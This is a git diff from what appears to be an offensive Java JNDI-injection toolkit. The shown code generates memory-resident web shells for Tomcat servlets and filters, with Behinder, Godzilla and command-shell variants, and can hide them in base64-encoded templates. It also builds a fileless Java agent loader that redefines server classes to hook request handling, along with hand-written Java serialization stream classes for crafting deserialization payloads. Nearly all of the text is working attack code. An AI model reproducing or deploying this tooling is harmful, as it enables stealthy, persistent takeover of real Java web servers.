"public static String NAME=" + ClassFieldHandler.converString(ClassNameHandler.getHumanName(newClassName, "Filter")) + ";"); + + // 为内存马添加地址 + ClassFieldHandler.insertFieldIfExists(ctClass, "pattern", "public static String pattern = " + ClassFieldHandler.converString(Config.URL_PATTERN) + ";"); + + // 根据不同的内存马类型,插入不同的方法、属性 + ClassMethodHandler.insertKeyMethodByClassName(ctClass, exClassName, shellType); + + // 为类设置新的类名 + ctClass.setName(newClassName); + + // 为 Struts2ActionMS 额外处理,防止框架找不到的情况 + ClassFieldHandler.insertFieldIfExists(ctClass, "thisClass", "public static String thisClass = \"" + Utils.base64Encode(ctClass.toBytecode()) + "\";"); + + shrinkBytes(ctClass); + byteCodes = ctClass.toBytecode(); + + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = Config.POOL.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameHandler.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(byteCodes) + "\";"; + String cName = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(cName); + + ctClass = newClass; + break; + } + } + + return ctClass; + } + + + public static CtClass generateAgentClass(String osType, String hookType, String args) throws Exception { + CtClass agent = Config.POOL.get(ClassNameHandler.searchClassByName("AgentLoaderTemplate")); + + // 准备 SuURLConnection/SuURLStreamHandler/Javassist Jar 包 + prepareMemoryJar(agent); + + // 根据选定的不同操作系统类型,准备不同的的 AgentNoFile 类 + String agentNoFileName = osType.equals("win") ? "AgentNoFileForWindows" : "AgentNoFileForLinux"; + prepareAgentNoFile(agentNoFileName, agent); + + // 准备要 Hook 的类名、方法、内容 + prepareClassModifier(agent, hookType, args); + + agent.setName(ClassNameHandler.generateClassName()); + + // 保存 + Utils.saveCtClassToFile(agent); + return agent; + } + + public static void prepareMemoryJar(CtClass templateClass) throws Exception { + // 首先将 SuURLConnection/SuURLStreamHandler 改名 + final String nameA = ClassNameHandler.searchClassByName("SuURLConnection"); + final String newNameA = ClassNameHandler.generateClassName(); + final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler"); + final String newNameB = ClassNameHandler.generateClassName(); + CtClass ctClassA = Config.POOL.get(nameA); + ctClassA.setName(newNameA); + CtClass ctClassB = Config.POOL.get(nameB); + ctClassB.setName(newNameB); + + ClassFieldHandler.insertField(ctClassA, "STREAM_HANDLER_CLASSNAME", "public static String STREAM_HANDLER_CLASSNAME = \"" + newNameB + "\";"); + ClassFieldHandler.insertField(ctClassB, "URL_CONNECTION_CLASSNAME", "public static String URL_CONNECTION_CLASSNAME = \"" + newNameA + "\";"); + + shrinkBytes(ctClassA); + shrinkBytes(ctClassB); + + ClassFieldHandler.insertField(templateClass, "SU_URL_CONNECTION_BYTES", "public static String SU_URL_CONNECTION_BYTES = \"" + Utils.base64Encode(ctClassA.toBytecode()) + "\";"); + ClassFieldHandler.insertField(templateClass, "SU_URL_STREAM_HANDLER_BYTES", "public static String SU_URL_STREAM_HANDLER_BYTES = \"" + Utils.base64Encode(ctClassB.toBytecode()) + "\";"); + } + + public static void prepareAgentNoFile(String className, CtClass templateClass) throws Exception { + CtClass agentNoFile = Config.POOL.get(ClassNameHandler.searchClassByName(className)); + shrinkBytes(agentNoFile); + agentNoFile.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "AGENT_NO_FILE_BYTES", "public static String AGENT_NO_FILE_BYTES = \"" + Utils.base64Encode(agentNoFile.toBytecode()) + "\";"); + } + + + public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception { + CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier")); + String shell = ""; + + // 插入 Hook 点 + if (hookType.equals("Servlet")) { + // 插入 Hook Class 基本信息 + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.BasicServletHook); + } else if (hookType.equals("Filter")) { + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.TomcatFilterChainHook); + } + + // 如果是冰蝎逻辑 + if (args.equals("bx")) { + shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD); + } else if (args.equals("gz")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY); + } else if (args.equals("gzraw")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY); + } else { + // 默认 cmd 逻辑 + shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING); + } + // 替换密码,添加 Shell Code + ClassFieldHandler.insertField(classModifier, "HOOK_METHOD_CODE", "public static String HOOK_METHOD_CODE = \"" + Utils.base64Encode(shell.getBytes()) + "\";"); + + shrinkBytes(classModifier); + classModifier.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "CLASS_MODIFIER_BYTES", "public static String CLASS_MODIFIER_BYTES = \"" + Utils.base64Encode(classModifier.toBytecode()) + "\";"); + } + + // 统一处理,删除一些不影响使用的 Attribute 降低类字节码的大小 + public static void shrinkBytes(CtClass ctClass) { + ClassFile classFile = ctClass.getClassFile2(); + classFile.removeAttribute(SourceFileAttribute.tag); + classFile.removeAttribute(LineNumberAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.tag); + classFile.removeAttribute(LocalVariableAttribute.typeTag); + classFile.removeAttribute(DeprecatedAttribute.tag); + classFile.removeAttribute(SignatureAttribute.tag); + classFile.removeAttribute(StackMapTable.tag); + + List list = classFile.getMethods(); + for (MethodInfo info : list) { + info.removeAttribute("RuntimeVisibleAnnotations"); + info.removeAttribute("RuntimeInvisibleAnnotations"); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java new file mode 100644 index 00000000..3cd8f8e4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.java @@ -0,0 +1,50 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; + +public class HandleContainer { + private Object handle; + + private static Method lookup; + + private static Method assign; + + public HandleContainer(Object handle) { + this.handle = handle; + } + + static { + try { + Class cls = Class.forName("java.io.ObjectOutputStream$HandleTable"); + assign = cls.getDeclaredMethod("assign", new Class[]{Object.class}); + assign.setAccessible(true); + lookup = cls.getDeclaredMethod("lookup", new Class[]{Object.class}); + lookup.setAccessible(true); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public int getHandle(Object obj) { + try { + return ((Integer) lookup.invoke(this.handle, new Object[]{obj})).intValue(); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + return -1; + } + + public void putHandle(Object obj) { + if (getHandle(obj) == -1) + try { + assign.invoke(this.handle, new Object[]{obj}); + } catch (IllegalAccessException e) { + e.printStackTrace(); + } catch (InvocationTargetException e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java new file mode 100644 index 00000000..bb50aa45 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.java @@ -0,0 +1,21 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public abstract class ReferencableObject { + public Object getHandleObject() { + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(getHandleObject()) != -1) { + TCReference reference = new TCReference(handles.getHandle(getHandleObject())); + reference.write(out, handles); + } else { + doWrite(out, handles); + handles.putHandle(getHandleObject()); + } + } + + public abstract void doWrite(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java new file mode 100644 index 00000000..802d2bba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Serialization.java @@ -0,0 +1,143 @@ +package com.qi4l.jndi.gadgets.utils.jre; + + +import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.ArrayList; +import java.util.List; + +public class Serialization { + private List objects = new ArrayList(); + + private Object handle; + + private TCBlockData blockData; + + public Serialization() { + try { + ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); + Field f = output.getClass().getDeclaredField("handles"); + f.setAccessible(true); + this.handle = f.get(output); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public void addObject(Object obj) throws Exception { + addObject(obj, false); + } + + public void addObject(Object obj, boolean block) throws Exception { + if (obj instanceof TCObject) { + TCObject tco = (TCObject) obj; + if (tco.size() == 0) + throw new Exception("no class_desc/data in TCObject"); + } + this.objects.add(new Data(block, obj)); + } + + public void write(String path) throws Exception { + write(new File(path)); + } + + public void write(File path) throws Exception { + write(new FileOutputStream(path)); + } + + public void write(OutputStream o) throws Exception { + if (this.objects.size() == 0) + throw new Exception("no objects in serialization"); + DataOutputStream out = new DataOutputStream(o); + out.writeShort(-21267); + out.writeShort(5); + HandleContainer handles = new HandleContainer(this.handle); + for (Data data : this.objects) { + if (!data.block) + writeBlockData(out, handles); + Object obj = data.data; + if (obj instanceof SerializedElement) { + ((SerializedElement) obj).write(out, handles); + continue; + } + treatObject(out, obj, handles, data.block); + } + writeBlockData(out, handles); + out.close(); + } + + protected void writeBlockData(DataOutputStream out, HandleContainer handles) throws Exception { + if (this.blockData != null) { + this.blockData.write(out, handles); + this.blockData = null; + } + } + + public void treatObject(DataOutputStream out, Object obj, HandleContainer handles, boolean blockData) throws Exception { + if (blockData) { + if (this.blockData == null) + this.blockData = new TCBlockData(); + this.blockData.append(obj); + return; + } + writeBlockData(out, handles); + if (obj instanceof Byte) { + out.writeByte(((Byte) obj).byteValue()); + } else if (obj instanceof Short) { + out.writeShort(((Short) obj).shortValue()); + } else if (obj instanceof Integer) { + out.writeInt(((Integer) obj).intValue()); + } else if (obj instanceof Long) { + out.writeLong(((Long) obj).longValue()); + } else if (obj instanceof Float) { + out.writeFloat(((Float) obj).floatValue()); + } else if (obj instanceof Double) { + out.writeDouble(((Double) obj).doubleValue()); + } else if (obj instanceof Character) { + out.writeChar(((Character) obj).charValue()); + } else if (obj instanceof String || obj instanceof TCString) { + TCString s = (obj instanceof TCString) ? (TCString) obj : TCString.getInstance(obj.toString()); + s.write(out, handles); + } else if (obj instanceof TCObject) { + TCObject o = (TCObject) obj; + o.write(out, handles); + } else { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + ObjectOutputStream objout = getPatchedOutputStream(byteout); + TCJavaObject o = new TCJavaObject(obj, byteout, objout); + o.write(out, handles); + } + } + + private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField(fieldName); + f.setAccessible(true); + if (Modifier.isFinal(f.getModifiers())) { + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & 0xFFFFFFEF); + } + f.set(obj, value); + } + + private ObjectOutputStream getPatchedOutputStream(ByteArrayOutputStream out) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(out); + setFieldValue(oos, "handles", this.handle); + return oos; + } + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java new file mode 100644 index 00000000..0c2bcd2d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.java @@ -0,0 +1,8 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public interface SerializedElement { + + void write(DataOutputStream paramDataOutputStream, HandleContainer paramHandleContainer) throws Exception; +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java new file mode 100644 index 00000000..ac9b9b3a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.java @@ -0,0 +1,43 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; + +public class TCBlockData implements SerializedElement { + private ByteArrayOutputStream byteOut = new ByteArrayOutputStream(); + + private DataOutputStream out = new DataOutputStream(this.byteOut); + + public void append(Object data) throws Exception { + if (data instanceof Integer) { + this.out.writeInt(((Integer) data).intValue()); + } else if (data instanceof Short) { + this.out.writeShort(((Short) data).shortValue()); + } else if (data instanceof Long) { + this.out.writeLong(((Long) data).longValue()); + } else if (data instanceof Byte) { + this.out.writeByte(((Byte) data).byteValue()); + } else if (data instanceof Character) { + this.out.writeChar(((Character) data).charValue()); + } else if (data instanceof char[]) { + this.out.writeChars(new String((char[]) data)); + } else if (data instanceof String) { + this.out.writeUTF((String) data); + } else if (data instanceof Float) { + this.out.writeFloat(((Float) data).floatValue()); + } else if (data instanceof Double) { + this.out.writeDouble(((Double) data).doubleValue()); + } else if (data instanceof Boolean) { + this.out.writeBoolean(((Boolean) data).booleanValue()); + } + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(119); + byte[] data = this.byteOut.toByteArray(); + out.writeByte(data.length); + out.write(data); + this.byteOut.close(); + this.out.close(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java new file mode 100644 index 00000000..e0978fcd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.java @@ -0,0 +1,134 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +public class TCClassDesc extends ReferencableObject implements SerializedElement { + private String className; + + private long serialVersionUID; + + private byte classDescFlags; + + private List fields = new ArrayList(); + + protected TCClassDesc() { + } + + public int getFieldsCount() { + return this.fields.size(); + } + + public TCClassDesc(String className) throws Exception { + this(className, -1L, (byte) 0); + } + + public TCClassDesc(String className, long serialVersionUID) throws Exception { + this(className, serialVersionUID, (byte) 0); + } + + public TCClassDesc(String className, byte classDescFlags) throws Exception { + this(className, -1L, classDescFlags); + } + + public TCClassDesc(String className, long serialVersionUID, byte classDescFlags) throws Exception { + this.className = className; + this.serialVersionUID = (serialVersionUID != -1L) ? serialVersionUID : getSerialVersionUID(); + this.classDescFlags = (classDescFlags != 0) ? classDescFlags : getClassDescFlags(); + } + + private long getSerialVersionUID() throws Exception { + Class cls = Class.forName(this.className); + java.lang.reflect.Field f = cls.getDeclaredField("serialVersionUID"); + if (f == null) + return -1L; + f.setAccessible(true); + return Long.valueOf(f.get((Object) null).toString()).longValue(); + } + + private byte getClassDescFlags() throws Exception { + Class cls = Class.forName(this.className); + byte b = 0; + if (Serializable.class.isAssignableFrom(cls)) + b = (byte) (b | 0x2); + try { + if (cls.getDeclaredMethod("writeObject", new Class[]{ObjectOutputStream.class}) != null) + b = (byte) (b | 0x1); + } catch (Exception exception) { + } + return b; + } + + public boolean hasWriteObject() { + return ((this.classDescFlags & 0x1) != 0); + } + + public TCClassDesc addField(Field field) { + this.fields.add(field); + return this; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + if (handles.getHandle(this) != -1) { + TCReference reference = new TCReference(handles.getHandle(this)); + reference.write(out, handles); + throw new Exception("stop"); + } + super.write(out, handles); + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(114); + out.writeUTF(this.className); + out.writeLong(this.serialVersionUID); + out.writeByte(this.classDescFlags); + out.writeShort(this.fields.size()); + handles.putHandle(getHandleObject()); + for (Field field : this.fields) + field.write(out, handles); + out.writeByte(120); + } + + public static class Field implements SerializedElement { + + private String name; + + private Class type; + + public Field(String name, Class type) { + this.name = name; + this.type = type; + } + + private byte getTypeByte() throws Exception { + Map, Byte> bytes = new HashMap, Byte>(); + bytes.put(byte.class, Byte.valueOf((byte) 66)); + bytes.put(char.class, Byte.valueOf((byte) 67)); + bytes.put(double.class, Byte.valueOf((byte) 68)); + bytes.put(float.class, Byte.valueOf((byte) 70)); + bytes.put(int.class, Byte.valueOf((byte) 73)); + bytes.put(long.class, Byte.valueOf((byte) 74)); + bytes.put(short.class, Byte.valueOf((byte) 83)); + bytes.put(boolean.class, Byte.valueOf((byte) 90)); + Byte b = bytes.get(this.type); + if (b == null) + b = Byte.valueOf((byte) 76); + return b.byteValue(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + byte b = getTypeByte(); + out.writeByte(b); + out.writeUTF(this.name); + if (b == 76) { + TCString s = TCString.getInstance((char) b + this.type.getName().replace('.', '/') + ";"); + s.write(out, handles); + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java new file mode 100644 index 00000000..d982b373 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.java @@ -0,0 +1,29 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.ObjectOutputStream; + +public class TCJavaObject extends ReferencableObject implements SerializedElement { + private ObjectOutputStream objOut; + + private ByteArrayOutputStream byteOut; + + private Object obj; + + public Object getHandleObject() { + return this.obj; + } + + public TCJavaObject(Object obj, ByteArrayOutputStream byteOut, ObjectOutputStream objOut) { + this.obj = obj; + this.byteOut = byteOut; + this.objOut = objOut; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + ObjectOutputStream oos = this.objOut; + oos.writeObject(this.obj); + out.write(this.byteOut.toByteArray(), 4, this.byteOut.size() - 4); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java new file mode 100644 index 00000000..5de092be --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCNull.java @@ -0,0 +1,9 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCNull implements SerializedElement { + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(112); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java new file mode 100644 index 00000000..8d3aa677 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCObject.java @@ -0,0 +1,130 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCObject extends ReferencableObject implements SerializedElement { + private Serialization ser; + + private List descData; + + public TCObject(Serialization ser) { + this.descData = new ArrayList(); + this.ser = ser; + } + + public int size() { + return this.descData.size(); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data) throws Exception { + return addClassDescData(desc, data, false); + } + + public TCObject addClassDescData(TCClassDesc desc, ObjectData data, boolean ignoreEquality) throws Exception { + if (!ignoreEquality && + desc.getFieldsCount() != data.size()) + throw new Exception("not enough fields/data, fields count: " + desc.getFieldsCount() + ", data count: " + data.size()); + data.setSer(this.ser); + this.descData.add(new ClassDescData(desc, data)); + return this; + } + + protected void writeHeader(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(115); + } + + protected void writeClassDescs(DataOutputStream out, HandleContainer handles) throws Exception { + try { + for (int i = 0; i < this.descData.size(); i++) { + ClassDescData d = this.descData.get(i); + d.getDesc().write(out, handles); + } + out.writeByte(112); + } catch (Exception e) { + if (!e.getMessage().equals("stop")) + e.printStackTrace(); + } + } + + protected void writeClassData(DataOutputStream out, HandleContainer handles) throws Exception { + for (int i = this.descData.size() - 1; i >= 0; i--) { + ClassDescData d = this.descData.get(i); + d.getData().write(out, handles); + if (d.getDesc().hasWriteObject()) { + this.ser.writeBlockData(out, handles); + out.writeByte(120); + } + } + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + writeHeader(out, handles); + writeClassDescs(out, handles); + handles.putHandle(getHandleObject()); + writeClassData(out, handles); + } + + private static class ClassDescData { + + private TCClassDesc desc; + + private TCObject.ObjectData data; + + public ClassDescData(TCClassDesc desc, TCObject.ObjectData data) { + this.desc = desc; + this.data = data; + } + + public TCClassDesc getDesc() { + return this.desc; + } + + public TCObject.ObjectData getData() { + return this.data; + } + } + + public static class ObjectData implements SerializedElement { + + private class Data { + + private boolean block; + + private Object data; + + public Data(boolean block, Object data) { + this.block = block; + this.data = data; + } + } + + private List data = new ArrayList(); + + private Serialization ser; + + public void setSer(Serialization ser) { + this.ser = ser; + } + + public int size() { + return this.data.size(); + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + for (Data d : this.data) + this.ser.treatObject(out, d.data, handles, d.block); + } + + public ObjectData addData(Object obj) { + addData(obj, false); + return this; + } + + public ObjectData addData(Object obj, boolean block) { + this.data.add(new Data(block, obj)); + return this; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java new file mode 100644 index 00000000..68581a50 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.ArrayList; +import java.util.List; + +public class TCProxyClassDesc extends TCClassDesc implements SerializedElement { + private List interfaces = (List) new ArrayList>(); + + public TCProxyClassDesc addInterface(Class cls) { + this.interfaces.add(cls); + return this; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(125); + out.writeInt(this.interfaces.size()); + for (Class intf : this.interfaces) + out.writeUTF(intf.getName()); + out.writeByte(120); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java new file mode 100644 index 00000000..dd7b495a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCReference.java @@ -0,0 +1,16 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; + +public class TCReference implements SerializedElement { + private int handle; + + public TCReference(int handle) { + this.handle = handle; + } + + public void write(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(113); + out.writeInt(8257536 + this.handle); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java new file mode 100644 index 00000000..320a560e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/TCString.java @@ -0,0 +1,33 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.io.DataOutputStream; +import java.util.HashMap; +import java.util.Map; + +public class TCString extends ReferencableObject implements SerializedElement { + public Object getHandleObject() { + return this.content; + } + + private static Map instances = new HashMap(); + + private String content; + + private TCString(String content) { + this.content = content; + } + + public static TCString getInstance(String content) { + TCString ins = instances.get(content); + if (ins != null) + return ins; + ins = new TCString(content); + instances.put(content, ins); + return ins; + } + + public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception { + out.writeByte(116); + out.writeUTF(this.content); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java new file mode 100644 index 00000000..c53534d3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/jre/Util.java @@ -0,0 +1,25 @@ +package com.qi4l.jndi.gadgets.utils.jre; + +import java.lang.reflect.InvocationHandler; + +public class Util { + public static TCObject makeProxy(Class[] interfaces, InvocationHandler handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + public static TCObject makeProxy(Class[] interfaces, TCObject handler, Serialization ser) throws Exception { + return doMakeProxy(interfaces, handler, ser); + } + + private static TCObject doMakeProxy(Class[] interfaces, Object handler, Serialization ser) throws Exception { + TCObject proxy = new TCObject(ser); + TCProxyClassDesc proxyDesc = new TCProxyClassDesc(); + for (Class intf : interfaces) + proxyDesc.addInterface(intf); + TCClassDesc desc = new TCClassDesc("java.lang.reflect.Proxy"); + desc.addField(new TCClassDesc.Field("h", InvocationHandler.class)); + proxy.addClassDescData(proxyDesc, new TCObject.ObjectData()); + proxy.addClassDescData(desc, (new TCObject.ObjectData()).addData(handler)); + return proxy; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java b/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java new file mode 100644 index 00000000..e11fe3e4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.java @@ -0,0 +1,114 @@ +package com.qi4l.jndi.template.Agent; + +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.List; + + + +public class AgentLoaderTemplate extends ClassLoader { + public static String SU_URL_CONNECTION_BYTES; + + public static String SU_URL_STREAM_HANDLER_BYTES; + + public static String CLASS_MODIFIER_BYTES; + + public static String AGENT_NO_FILE_BYTES; + + public static String JAR_BODY; + + public AgentLoaderTemplate() { + } + + public AgentLoaderTemplate(ClassLoader c) { + super(c); + } + + static { + try { + initJavassistJar(); + // 需要让 System ClassLoader 成为自己的父类,这样在后面打入 Javassist Jar 包之后,自己也能找到 javassist 的类 + AgentLoaderTemplate tmpl = new AgentLoaderTemplate(getSystemClassLoader()); + + try { + // 如果当前环境有 Javassist,则使用当前环境的 + Class.forName("javassist.CtClass", false, tmpl); + } catch (Exception ignored) { + // 在内存中打一个 Javassist 进去 + Class a = tmpl.defineClass(base64Decode(SU_URL_CONNECTION_BYTES)); + tmpl.defineClass(base64Decode(SU_URL_STREAM_HANDLER_BYTES)); + byte[] jarBytes = base64Decode(JAR_BODY); + URL url = (URL) a.getMethod("createURL", byte[].class, String.class).invoke(null, jarBytes, "application/jar"); + URLClassLoader classLoader = (URLClassLoader) getSystemClassLoader(); + Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); + method.setAccessible(true); + method.invoke(classLoader, url); + } + + Class classModifier = tmpl.defineClass(base64Decode(CLASS_MODIFIER_BYTES)); + + // 反射调用,获取 Hook 类字节码,插入关键逻辑和需要的方法 Field 等 + Method method1 = classModifier.getMethod("insert", new Class[]{}); + method1.setAccessible(true); + List list = (List) method1.invoke(null); + String targetClassName = list.get(0).toString(); + byte[] newClassByte = (byte[]) list.get(1); + + // 执行 AgentNoFile 逻辑 + Class agent = tmpl.defineClass(base64Decode(AGENT_NO_FILE_BYTES)); + Method m = agent.getDeclaredMethod("redefineClasses", new Class[]{String.class, byte[].class}); + m.invoke(null, targetClassName, newClassByte); + } catch (Exception e) { + e.printStackTrace(); + } + } + + + public Class defineClass(byte[] classBytes) { + return super.defineClass(classBytes, 0, classBytes.length); + } + + public static byte[] base64Decode(String bs) throws Exception { + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception ignored) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception whatever) { + } + } + return value; + } + + public static void initJavassistJar() { + JAR_BODY = 